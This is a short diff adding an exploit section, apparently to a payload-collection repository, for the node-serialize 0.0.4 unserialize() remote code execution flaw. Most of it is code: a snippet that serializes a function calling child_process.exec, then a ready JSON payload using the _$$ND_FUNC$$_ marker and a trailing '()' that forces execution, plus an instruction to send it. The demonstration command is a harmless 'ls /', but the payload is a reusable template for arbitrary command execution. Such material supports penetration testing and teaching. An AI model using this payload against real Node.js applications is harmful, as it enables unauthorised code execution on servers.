+## Exploit
+
+> An issue was discovered in the node-serialize package 0.0.4 for Node.js. Untrusted data passed into the `unserialize()` function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE).
+
+1. Generate a serialized payload
+    ```js
+    var y = {
+        rce : function(){
+            require('child_process').exec('ls /', function(error,
+            stdout, stderr) { console.log(stdout) });
+        },
+    }
+    var serialize = require('node-serialize');
+    console.log("Serialized: \n" + serialize.serialize(y));
+    ```
+2. Add bracket `()` to force the execution
+    ```js
+    {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });}()"}
+    ```
+3. Send the payload
